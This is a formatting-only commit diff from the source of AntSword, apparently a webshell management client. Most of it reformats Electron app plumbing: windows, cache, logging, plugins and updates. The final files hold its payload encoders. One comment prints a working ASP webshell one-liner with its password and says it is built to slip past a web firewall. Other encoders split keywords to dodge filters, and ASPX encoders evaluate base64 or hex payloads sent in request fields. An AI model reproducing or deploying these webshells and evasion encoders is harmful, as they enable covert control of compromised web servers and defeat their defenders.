Commit 22700479 authored by Medicean's avatar Medicean

(Other: Style) Code Format

parent 0dc7858f
...@@ -8,25 +8,31 @@ ...@@ -8,25 +8,31 @@
const path = require('path'); const path = require('path');
const electron = require('electron'); const electron = require('electron');
const { app, protocol, BrowserWindow } = require('electron'); const {app, protocol, BrowserWindow} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL, indexedDB, cookies) 被禁止访问非标准schemes // 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
protocol.registerStandardSchemes(['ant-views','ant-static','ant-src']); // indexedDB, cookies) 被禁止访问非标准schemes
protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);
app app.once('ready', () => {
.once('ready', () => {
/** /**
* 注册静态资源protocol * 注册静态资源protocol
* - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js * - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js
*/ */
[ [
['static', '/static/', 13], [
['views', '/views/', 12], //- 通过访问访问ant-views来访问views 文件 'static', '/static/', 13
],
[
'views', '/views/', 12
], //- 通过访问访问ant-views来访问views 文件
['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件 ['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件
].map((_) => { ].map((_) => {
protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => { protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {
if(req.url.endsWith('/')){ if (req.url.endsWith('/')) {
req.url = req.url.substr(0,req.url.length-1); req.url = req
.url
.substr(0, req.url.length - 1);
} }
cb({ cb({
path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2]))) path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2])))
...@@ -36,39 +42,37 @@ app ...@@ -36,39 +42,37 @@ app
// 初始化窗口 // 初始化窗口
let mainWindow = new BrowserWindow({ let mainWindow = new BrowserWindow({
width: 1040, height: 699, width: 1040,
minWidth: 888, minHeight: 555, height: 699,
minWidth: 888,
minHeight: 555,
title: 'AntSword', title: 'AntSword',
webPreferences: { webPreferences: {
webgl: false, webgl: false,
javascript: true, javascript: true,
nodeIntegration: true, // 开启 nodejs 支持 nodeIntegration: true, // 开启 nodejs 支持
// contextIsolation: false, // 关闭上下文隔离 // contextIsolation: false, // 关闭上下文隔离 webSecurity: false,
// webSecurity: false, // allowRunningInsecureContent: true, sandbox: false,
// allowRunningInsecureContent: true, }
// sandbox: false,
},
}); });
// 加载views // 加载views
mainWindow.loadURL('ant-views://front/index.html'); mainWindow.loadURL('ant-views://front/index.html');
// 调整部分UI // 调整部分UI
const reloadUI = mainWindow.webContents.send.bind( const reloadUI = mainWindow
mainWindow.webContents, .webContents
'reloadui', true .send
); .bind(mainWindow.webContents, 'reloadui', true);
// 窗口事件监听 // 窗口事件监听
mainWindow mainWindow.on('close', (event) => {
.on('close', (event) => {
event.preventDefault(); event.preventDefault();
app.exit(0); app.exit(0);
}) }).on('minimize', (event) => {
.on('minimize', (event) => {
event.preventDefault(); event.preventDefault();
if (process.platform == 'darwin') { if (process.platform == 'darwin') {
app.hide(); app.hide();
}else{ } else {
mainWindow.hide(); mainWindow.hide();
} }
}) })
...@@ -78,13 +82,18 @@ app ...@@ -78,13 +82,18 @@ app
.on('enter-full-screen', reloadUI) .on('enter-full-screen', reloadUI)
.on('leave-full-screen', reloadUI); .on('leave-full-screen', reloadUI);
// 打开调试控制台 mainWindow.webContents.openDevTools();
// 打开调试控制台
// mainWindow.webContents.openDevTools();
electron.Logger = require('./modules/logger')(mainWindow); electron.Logger = require('./modules/logger')(mainWindow);
// 初始化模块 // 初始化模块
['menubar', 'request', 'database', 'cache', 'update', 'plugStore'].map((_) => { [
new ( require(`./modules/${_}`) )(electron, app, mainWindow); 'menubar',
}); 'request',
'database',
'cache',
'update',
'plugStore'
].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow);
}); });
});
...@@ -22,7 +22,8 @@ class Cache { ...@@ -22,7 +22,8 @@ class Cache {
*/ */
constructor(electron) { constructor(electron) {
logger = new electron.Logger('Cache'); logger = new electron.Logger('Cache');
electron.ipcMain electron
.ipcMain
.on('cache-add', this.addCache.bind(this)) .on('cache-add', this.addCache.bind(this))
.on('cache-set', this.setCache.bind(this)) .on('cache-set', this.setCache.bind(this))
.on('cache-get', this.getCache.bind(this)) .on('cache-get', this.getCache.bind(this))
...@@ -36,7 +37,7 @@ class Cache { ...@@ -36,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名 * @param {String} id 数据存储文件名
* @return {[type]} [description] * @return {[type]} [description]
*/ */
createDB(id = String(+new Date)) { createDB(id = String(+ new Date)) {
return new Datastore({ return new Datastore({
filename: path.join(CONF.cachePath, id), filename: path.join(CONF.cachePath, id),
autoload: true autoload: true
...@@ -50,7 +51,9 @@ class Cache { ...@@ -50,7 +51,9 @@ class Cache {
*/ */
addCache(event, opts) { addCache(event, opts) {
logger.debug('addCache', opts); logger.debug('addCache', opts);
this.createDB(opts['id']).insert({ this
.createDB(opts['id'])
.insert({
tag: opts['tag'], tag: opts['tag'],
cache: opts['cache'] cache: opts['cache']
}, (err, ret) => { }, (err, ret) => {
...@@ -65,7 +68,9 @@ class Cache { ...@@ -65,7 +68,9 @@ class Cache {
*/ */
setCache(event, opts) { setCache(event, opts) {
logger.debug('setCache', opts); logger.debug('setCache', opts);
this.createDB(opts['id']).update({ this
.createDB(opts['id'])
.update({
tag: opts['tag'] tag: opts['tag']
}, { }, {
$set: { $set: {
...@@ -84,7 +89,9 @@ class Cache { ...@@ -84,7 +89,9 @@ class Cache {
*/ */
getCache(event, opts) { getCache(event, opts) {
logger.debug('getCache', opts); logger.debug('getCache', opts);
this.createDB(opts['id']).findOne({ this
.createDB(opts['id'])
.findOne({
tag: opts['tag'] tag: opts['tag']
}, (err, ret) => { }, (err, ret) => {
event.returnValue = err || ret; event.returnValue = err || ret;
...@@ -99,7 +106,9 @@ class Cache { ...@@ -99,7 +106,9 @@ class Cache {
*/ */
delCache(event, opts) { delCache(event, opts) {
logger.warn('delCache', opts); logger.warn('delCache', opts);
this.createDB(opts['id']).remove({ this
.createDB(opts['id'])
.remove({
tag: opts['tag'] tag: opts['tag']
}, (err, ret) => { }, (err, ret) => {
event.returnValue = err || ret; event.returnValue = err || ret;
...@@ -114,10 +123,10 @@ class Cache { ...@@ -114,10 +123,10 @@ class Cache {
*/ */
clearCache(event, opts) { clearCache(event, opts) {
logger.fatal('clearCache', opts); logger.fatal('clearCache', opts);
try{ try {
fs.unlinkSync(path.join(CONF.cachePath, opts['id'])); fs.unlinkSync(path.join(CONF.cachePath, opts['id']));
event.returnValue = true; event.returnValue = true;
}catch(e) { } catch (e) {
event.returnValue = e; event.returnValue = e;
} }
} }
...@@ -130,12 +139,14 @@ class Cache { ...@@ -130,12 +139,14 @@ class Cache {
*/ */
clearAllCache(event, opts) { clearAllCache(event, opts) {
logger.fatal('clearAllCache', opts); logger.fatal('clearAllCache', opts);
try{ try {
fs.readdirSync(CONF.cachePath).map((_) => { fs
.readdirSync(CONF.cachePath)
.map((_) => {
fs.unlinkSync(path.join(CONF.cachePath, _)); fs.unlinkSync(path.join(CONF.cachePath, _));
}); });
event.returnValue = true; event.returnValue = true;
}catch(e) { } catch (e) {
event.returnValue = e; event.returnValue = e;
} }
} }
......
...@@ -15,24 +15,16 @@ class Conf { ...@@ -15,24 +15,16 @@ class Conf {
constructor() { constructor() {
// 旧数据存储目录 // 旧数据存储目录
let _oldPath = path.join( let _oldPath = path.join(process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.', '.antSword', 'shell.db');
process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.',
'.antSword',
'shell.db'
);
// 数据存储目录 // 数据存储目录
this.basePath = path.join( this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
process.env.AS_WORKDIR,
'antData'
)
// 初始化目录 // 初始化目录
!fs.existsSync(this.basePath) ? fs.mkdirSync(this.basePath) : null; !fs.existsSync(this.basePath)
? fs.mkdirSync(this.basePath)
: null;
// 旧数据搬迁 // 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) { if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync( fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
this.dataPath,
fs.readFileSync(_oldPath)
)
} }
// 初始化目录 // 初始化目录
this.tmpPath; this.tmpPath;
...@@ -55,7 +47,9 @@ class Conf { ...@@ -55,7 +47,9 @@ class Conf {
get cachePath() { get cachePath() {
let _ = path.join(this.basePath, '/cache/'); let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录 // 创建缓存目录
!fs.existsSync(_) ? fs.mkdirSync(_) : null; !fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _; return _;
} }
...@@ -66,7 +60,9 @@ class Conf { ...@@ -66,7 +60,9 @@ class Conf {
*/ */
get plugPath() { get plugPath() {
let _ = path.join(this.basePath, '/plugins/'); let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_) ? fs.mkdirSync(_) : null; !fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _; return _;
} }
...@@ -77,7 +73,9 @@ class Conf { ...@@ -77,7 +73,9 @@ class Conf {
*/ */
get tmpPath() { get tmpPath() {
let _ = path.join(this.basePath, '/.temp/'); let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_) ? fs.mkdirSync(_) : null; !fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _; return _;
} }
......
This diff is collapsed.
...@@ -21,8 +21,12 @@ class Logger { ...@@ -21,8 +21,12 @@ class Logger {
* @return {String} 格式化后的内容文本 * @return {String} 格式化后的内容文本
*/ */
parseLog(type, logs) { parseLog(type, logs) {
let tm = new Date().toTimeString().split(' ')[0]; let tm = new Date()
let log = typeof logs === 'object' ? JSON.stringify(logs) : String(logs); .toTimeString()
.split(' ')[0];
let log = typeof logs === 'object'
? JSON.stringify(logs)
: String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`; return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
} }
...@@ -31,7 +35,10 @@ class Logger { ...@@ -31,7 +35,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
debug() { debug() {
mainWindow.send('logger-debug', [this.parseLog('debug', arguments), arguments]); mainWindow.send('logger-debug', [
this.parseLog('debug', arguments),
arguments
]);
} }
/** /**
...@@ -39,7 +46,10 @@ class Logger { ...@@ -39,7 +46,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
info() { info() {
mainWindow.send('logger-info', [this.parseLog('info', arguments), arguments]); mainWindow.send('logger-info', [
this.parseLog('info', arguments),
arguments
]);
} }
/** /**
...@@ -47,7 +57,10 @@ class Logger { ...@@ -47,7 +57,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
warn() { warn() {
mainWindow.send('logger-warn', [this.parseLog('warn', arguments), arguments]); mainWindow.send('logger-warn', [
this.parseLog('warn', arguments),
arguments
]);
} }
/** /**
...@@ -55,7 +68,10 @@ class Logger { ...@@ -55,7 +68,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
fatal() { fatal() {
mainWindow.send('logger-fatal', [this.parseLog('fatal', arguments), arguments]); mainWindow.send('logger-fatal', [
this.parseLog('fatal', arguments),
arguments
]);
} }
} }
......
This diff is collapsed.
...@@ -16,25 +16,32 @@ class PlugStore { ...@@ -16,25 +16,32 @@ class PlugStore {
logger = new electron.Logger('PlugStore'); logger = new electron.Logger('PlugStore');
this.listenDownload(mainWindow); this.listenDownload(mainWindow);
electron.ipcMain electron
.ipcMain
.on('store-uninstall', (event, plugName) => { .on('store-uninstall', (event, plugName) => {
logger.warn('UnInstall', plugName); logger.warn('UnInstall', plugName);
// 删除目录 // 删除目录
this.rmdir( this
path.join(CONF.plugPath, `${plugName}-master`) .rmdir(path.join(CONF.plugPath, `${plugName}-master`))
).then((ret) => { .then((ret) => {
event.returnValue = ret; event.returnValue = ret;
// 重新加载插件列表 // 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true); mainWindow
.webContents
.send('reloadPlug', true);
}); });
}) })
.on('store-uninstall-dev', (event, plugPath) => { .on('store-uninstall-dev', (event, plugPath) => {
logger.warn('UnInstall.DEV', plugPath); logger.warn('UnInstall.DEV', plugPath);
// 删除目录 // 删除目录
this.rmdir(plugPath).then((ret) => { this
.rmdir(plugPath)
.then((ret) => {
event.returnValue = ret; event.returnValue = ret;
// 重新加载插件列表 // 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true); mainWindow
.webContents
.send('reloadPlug', true);
}); });
}) })
// 获取插件路径 // 获取插件路径
...@@ -49,8 +56,13 @@ class PlugStore { ...@@ -49,8 +56,13 @@ class PlugStore {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
listenDownload(mainWindow) { listenDownload(mainWindow) {
mainWindow.webContents.session.on('will-download', (event, item, webContents) => { mainWindow
let fileName = item.getFilename().replace(/\-master\.zip$/,''); .webContents
.session
.on('will-download', (event, item, webContents) => {
let fileName = item
.getFilename()
.replace(/\-master\.zip$/, '');
let downLink = item.getURL(); let downLink = item.getURL();
logger.info('down-store-plug', downLink); logger.info('down-store-plug', downLink);
// 判断是否下载为插件 // 判断是否下载为插件
...@@ -79,7 +91,9 @@ class PlugStore { ...@@ -79,7 +91,9 @@ class PlugStore {
type: 'downloaded', type: 'downloaded',
state: state state: state
}); });
if (state !== 'completed') { return }; if (state !== 'completed') {
return
};
// 解压安装插件 // 解压安装插件
UNZIP(savePath, { UNZIP(savePath, {
dir: CONF.plugPath dir: CONF.plugPath
...@@ -90,7 +104,9 @@ class PlugStore { ...@@ -90,7 +104,9 @@ class PlugStore {
}); });
logger.info('Installed', fileName); logger.info('Installed', fileName);
// 重新加载插件列表 // 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true); mainWindow
.webContents
.send('reloadPlug', true);
}); });
}); });
} }
...@@ -107,8 +123,12 @@ class PlugStore { ...@@ -107,8 +123,12 @@ class PlugStore {
let ret = true; let ret = true;
// 循环删除目录 // 循环删除目录
const _rmdir = (_dir) => { const _rmdir = (_dir) => {
if (!fs.existsSync(_dir)) { return } if (!fs.existsSync(_dir)) {
fs.readdirSync(_dir).map((_) => { return
}
fs
.readdirSync(_dir)
.map((_) => {
// 生成完整路径 // 生成完整路径
let _path = path.join(dir, _); let _path = path.join(dir, _);
// 如果是目录,则继续循环,否则删除 // 如果是目录,则继续循环,否则删除
...@@ -119,7 +139,7 @@ class PlugStore { ...@@ -119,7 +139,7 @@ class PlugStore {
}); });
fs.rmdirSync(_dir); fs.rmdirSync(_dir);
} }
try{ try {
_rmdir(dir); _rmdir(dir);
} catch (e) { } catch (e) {
ret = e; ret = e;
......
This diff is collapsed.
...@@ -15,7 +15,8 @@ const tar = require('tar'); ...@@ -15,7 +15,8 @@ const tar = require('tar');
class Update { class Update {
constructor(electron) { constructor(electron) {
this.logger = new electron.Logger('Update'); this.logger = new electron.Logger('Update');
electron.ipcMain electron
.ipcMain
.on('check-update', this.checkUpdate.bind(this)) .on('check-update', this.checkUpdate.bind(this))
.on('check-loader-update', this.checkLoaderUpdate.bind(this)) .on('check-loader-update', this.checkLoaderUpdate.bind(this))
.on('update-download', this.onDownlaod.bind(this)); .on('update-download', this.onDownlaod.bind(this));
...@@ -26,7 +27,9 @@ class Update { ...@@ -26,7 +27,9 @@ class Update {
* @param {[type]} event * @param {[type]} event
*/ */
checkLoaderUpdate(event) { checkLoaderUpdate(event) {
this.logger.debug('checkLoaderUpdate..') this
.logger
.debug('checkLoaderUpdate..')
superagent superagent
.get('https://api.github.com/repos/antswordproject/antSword-Loader/releases/latest') .get('https://api.github.com/repos/antswordproject/antSword-Loader/releases/latest')
.end((err, ret) => { .end((err, ret) => {
...@@ -36,17 +39,25 @@ class Update { ...@@ -36,17 +39,25 @@ class Update {
let curVersion = process.env.AS_LOADER_VER || '2.0.1'; let curVersion = process.env.AS_LOADER_VER || '2.0.1';
// 比对版本 // 比对版本
if (this.CompVersion(curVersion, newVersion)) { if (this.CompVersion(curVersion, newVersion)) {
this.logger.info('Found a new loader version', newVersion); this
event.sender.send('notification-loader-update', { .logger
.info('Found a new loader version', newVersion);
event
.sender
.send('notification-loader-update', {
ver: newVersion, ver: newVersion,
url: lastInfo['html_url'], url: lastInfo['html_url'],
body: lastInfo['body'] body: lastInfo['body']
}); });
} else { } else {
this.logger.warn('No new loader version.', newVersion, curVersion); this
.logger
.warn('No new loader version.', newVersion, curVersion);
} }
} catch(e) { } catch (e) {
this.logger.fatal('ERR', e); this
.logger
.fatal('ERR', e);
} }
}); });
} }
...@@ -57,7 +68,9 @@ class Update { ...@@ -57,7 +68,9 @@ class Update {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
checkUpdate(event) { checkUpdate(event) {
this.logger.debug('checkUpdate..'); this
.logger
.debug('checkUpdate..');
superagent superagent
.get('https://api.github.com/repos/antoor/antSword/releases/latest') .get('https://api.github.com/repos/antoor/antSword/releases/latest')
.end((err, ret) => { .end((err, ret) => {
...@@ -67,17 +80,25 @@ class Update { ...@@ -67,17 +80,25 @@ class Update {
let curVersion = config['package'].version; let curVersion = config['package'].version;
// 比对版本 // 比对版本
if (this.CompVersion(curVersion, newVersion)) { if (this.CompVersion(curVersion, newVersion)) {
this.logger.info('Found a new version', newVersion); this
event.sender.send('notification-update', { .logger
.info('Found a new version', newVersion);
event
.sender
.send('notification-update', {
ver: newVersion, ver: newVersion,
url: lastInfo['html_url'], url: lastInfo['html_url'],
body: lastInfo['body'] body: lastInfo['body']
}); });
} else { } else {
this.logger.warn('No new version.', newVersion, curVersion); this
.logger
.warn('No new version.', newVersion, curVersion);
} }
} catch(e) { } catch (e) {
this.logger.fatal('ERR', e); this
.logger
.fatal('ERR', e);
} }
}); });
} }
...@@ -90,7 +111,9 @@ class Update { ...@@ -90,7 +111,9 @@ class Update {
*/ */
CompVersion(curVer, newVer) { CompVersion(curVer, newVer) {
// 如果版本相同 // 如果版本相同
if (curVer === newVer) { return false } if (curVer === newVer) {
return false
}
let currVerArr = curVer.split("."); let currVerArr = curVer.split(".");
let promoteVerArr = newVer.split("."); let promoteVerArr = newVer.split(".");
let len = Math.max(currVerArr.length, promoteVerArr.length); let len = Math.max(currVerArr.length, promoteVerArr.length);
...@@ -124,65 +147,76 @@ class Update { ...@@ -124,65 +147,76 @@ class Update {
let tempData = []; let tempData = [];
let totalsize = 0; let totalsize = 0;
let downsize = 0; let downsize = 0;
let url="https://github.com/AntSwordProject/AntSword/archive/master.tar.gz"; let url = "https://github.com/AntSwordProject/AntSword/archive/master.tar.gz";
superagent.head(url) superagent
.head(url)
.set('User-Agent', "antSword/v2.0") .set('User-Agent', "antSword/v2.0")
.redirects(5) .redirects(5)
.timeout(30000) .timeout(30000)
.end((err, res)=>{ .end((err, res) => {
if(err){ if (err) {
event.sender.send(`update-error-${hash}`, err); event
}else{ .sender
.send(`update-error-${hash}`, err);
} else {
totalsize = parseInt(res.header['content-length']); totalsize = parseInt(res.header['content-length']);
superagent superagent
.get(url) .get(url)
.set('User-Agent', "antSword/v2.0") .set('User-Agent', "antSword/v2.0")
.redirects(5) .redirects(5)
// .proxy(APROXY_CONF['uri']) // .proxy(APROXY_CONF['uri']) 设置超时会导致文件过大时写入出错 .timeout(timeout)
// 设置超时会导致文件过大时写入出错 .pipe(through((chunk) => {
// .timeout(timeout)
.pipe(through(
(chunk) => {
downsize += chunk.length; downsize += chunk.length;
tempData.push(chunk); tempData.push(chunk);
if(totalsize>0){ if (totalsize > 0) {
var progress = parseInt(downsize/totalsize*100); var progress = parseInt(downsize / totalsize * 100);
event.sender.send(`update-dlprogress-${hash}`, progress, true); event
}else{ .sender
event.sender.send(`update-dlprogress-${hash}`, downsize, false); .send(`update-dlprogress-${hash}`, progress, true);
} } else {
}, event
() => { .sender
that.logger.debug("Download end."); .send(`update-dlprogress-${hash}`, downsize, false);
}
}, () => {
that
.logger
.debug("Download end.");
let tempDataBuffer = Buffer.concat(tempData); let tempDataBuffer = Buffer.concat(tempData);
if (totalsize > 0 && downsize != totalsize) { if (totalsize > 0 && downsize != totalsize) {
event.sender.send(`update-error-${hash}`, "Download Error."); event
.sender
.send(`update-error-${hash}`, "Download Error.");
return return
} }
event.sender.send(`update-dlend-${hash}`, tempDataBuffer.length); event
.sender
.send(`update-dlend-${hash}`, tempDataBuffer.length);
// 同步写入文件 // 同步写入文件
fs.writeFileSync(savePath, tempDataBuffer); fs.writeFileSync(savePath, tempDataBuffer);
// 删除内存数据 // 删除内存数据
tempDataBuffer = tempData = null; tempDataBuffer = tempData = null;
// TODO: 需不需要备份? // TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 // TODO: 删除原来的 node_modules 目录 解压数据
// 解压数据 tar
tar.x({ .x({file: savePath, strip: 1, C: process.env.AS_WORKDIR})
file: savePath, .then(_ => {
strip: 1, that
C: process.env.AS_WORKDIR, .logger
}).then(_=>{ .info("update success.");
that.logger.info("update success."); event
event.sender.send(`update-success`); .sender
.send(`update-success`);
fs.unlink(savePath); fs.unlink(savePath);
}, err=>{ }, err => {
event.sender.send(`update-error-${hash}`, err); event
.sender
.send(`update-error-${hash}`, err);
fs.unlink(savePath); fs.unlink(savePath);
}); });
} }));
));
} }
}); });
} }
......
This diff is collapsed.
...@@ -16,7 +16,9 @@ class CacheManager { ...@@ -16,7 +16,9 @@ class CacheManager {
id: this.id, id: this.id,
tag: tag tag: tag
}); });
return ret ? ret['cache'] : false; return ret
? ret['cache']
: false;
} }
// 更新缓存 // 更新缓存
...@@ -38,9 +40,7 @@ class CacheManager { ...@@ -38,9 +40,7 @@ class CacheManager {
// 清空缓存 // 清空缓存
clear() { clear() {
return this.sender('cache-clear', { return this.sender('cache-clear', {id: this.id});
id: this.id
});
} }
} }
......
...@@ -23,27 +23,35 @@ class Decodes { ...@@ -23,27 +23,35 @@ class Decodes {
options = options || {}; options = options || {};
buffer = buffer || Buffer(''); buffer = buffer || Buffer('');
var DEFAULT_ENCODING = 'GBK', MIN_CONFIDENCE = 0.96; var DEFAULT_ENCODING = 'GBK',
MIN_CONFIDENCE = 0.96;
var verbose = options.verbose; var verbose = options.verbose;
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE; var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), encoding = ret.encoding === 'ascii' ? 'utf-8' : ret.encoding, var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
confidence = ret.confidence; confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose ? { return verbose
? {
encoding: defaultEncoding, encoding: defaultEncoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} : defaultEncoding; }
: defaultEncoding;
} else { } else {
encoding = encoding.toUpperCase(); encoding = encoding.toUpperCase();
return verbose ? { return verbose
? {
encoding: encoding, encoding: encoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} : encoding; }
: encoding;
} }
} }
......
...@@ -19,10 +19,10 @@ class Menubar { ...@@ -19,10 +19,10 @@ class Menubar {
if (argv instanceof Array && argv.length === 2) { if (argv instanceof Array && argv.length === 2) {
cmd = argv[0]; cmd = argv[0];
arg = argv[1]; arg = argv[1];
}else{ } else {
cmd = argv; cmd = argv;
} }
switch(cmd) { switch (cmd) {
case 'tabbar-next': case 'tabbar-next':
antSword['tabbar'].goToNextTab(); antSword['tabbar'].goToNextTab();
break; break;
...@@ -31,13 +31,19 @@ class Menubar { ...@@ -31,13 +31,19 @@ class Menubar {
break; break;
case 'tabbar-close': case 'tabbar-close':
const tab = antSword['tabbar'].getActiveTab(); const tab = antSword['tabbar'].getActiveTab();
if (tab === 'tab_shellmanager') { return }; if (tab === 'tab_shellmanager') {
antSword['tabbar'].tabs(tab).close(); return
};
antSword['tabbar']
.tabs(tab)
.close();
break; break;
default: default:
// 检测是否有注册事件?执行注册事件:忽略 // 检测是否有注册事件?执行注册事件:忽略
let caller = this.events[cmd]; let caller = this.events[cmd];
if (caller instanceof Function) { caller() }; if (caller instanceof Function) {
caller()
};
} }
}); });
} }
......
...@@ -12,9 +12,11 @@ ...@@ -12,9 +12,11 @@
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data) => { module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function($, $1) { let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码 // asunescape(%) 表示括号内的内容不会被 URL 编码
return $1.split('').join('asunescape(%)'); return $1
.split('')
.join('asunescape(%)');
}); });
data[pwd] = Buffer.from(_tmp); data[pwd] = Buffer.from(_tmp);
delete data['_']; delete data['_'];
......
...@@ -2,9 +2,13 @@ ...@@ -2,9 +2,13 @@
// asp::xxxx 编码模块 // asp::xxxx 编码模块
// //
// :把eval替换成 xxxx 用于过狗 // :把eval替换成 xxxx 用于过狗
// /*
// 服务端:<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%> 服务端:
// 密码:ant
<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
密码:ant
*/
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
......
...@@ -15,20 +15,30 @@ class ASP extends Base { ...@@ -15,20 +15,30 @@ class ASP extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'database/dsn', 'database/mysql', 'command',
'database/access', 'database/oracle', 'filemanager',
'database/sqlserver', 'database/sqloledb_1', 'database/dsn',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' 'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => { ].map((_) => {
this.parseTemplate(`./asp/template/${_}`); this.parseTemplate(`./asp/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
.encoders
.map((_) => {
this.parseEncoder(`./asp/encoder/${_}`); this.parseEncoder(`./asp/encoder/${_}`);
}); });
this.decoders.map((_) => { this
.decoders
.map((_) => {
this.parseDecoder(`./asp/decoder/${_}`); this.parseDecoder(`./asp/decoder/${_}`);
}); });
} }
...@@ -50,13 +60,21 @@ class ASP extends Base { ...@@ -50,13 +60,21 @@ class ASP extends Base {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // '->|'; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-'; .random()
.toString(16)
.substr(2, 5); // '->|';
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base
.prototype
.format(this.__opts__['encode']);
// hex编码一次数据 // hex编码一次数据
let hexCode = formatter['hex'](data['_']); let hexCode = formatter['hex'](data['_']);
......
...@@ -7,8 +7,13 @@ ...@@ -7,8 +7,13 @@
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
data[randomID] = Buffer.from(data['_']).toString('base64'); .random()
.toString(16)
.substr(2)}`;
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`; data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`;
delete data['_']; delete data['_'];
return data; return data;
......
...@@ -7,9 +7,17 @@ ...@@ -7,9 +7,17 @@
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};"; .random()
data[randomID] = Buffer.from(data['_']).toString('hex'); .toString(16)
.substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
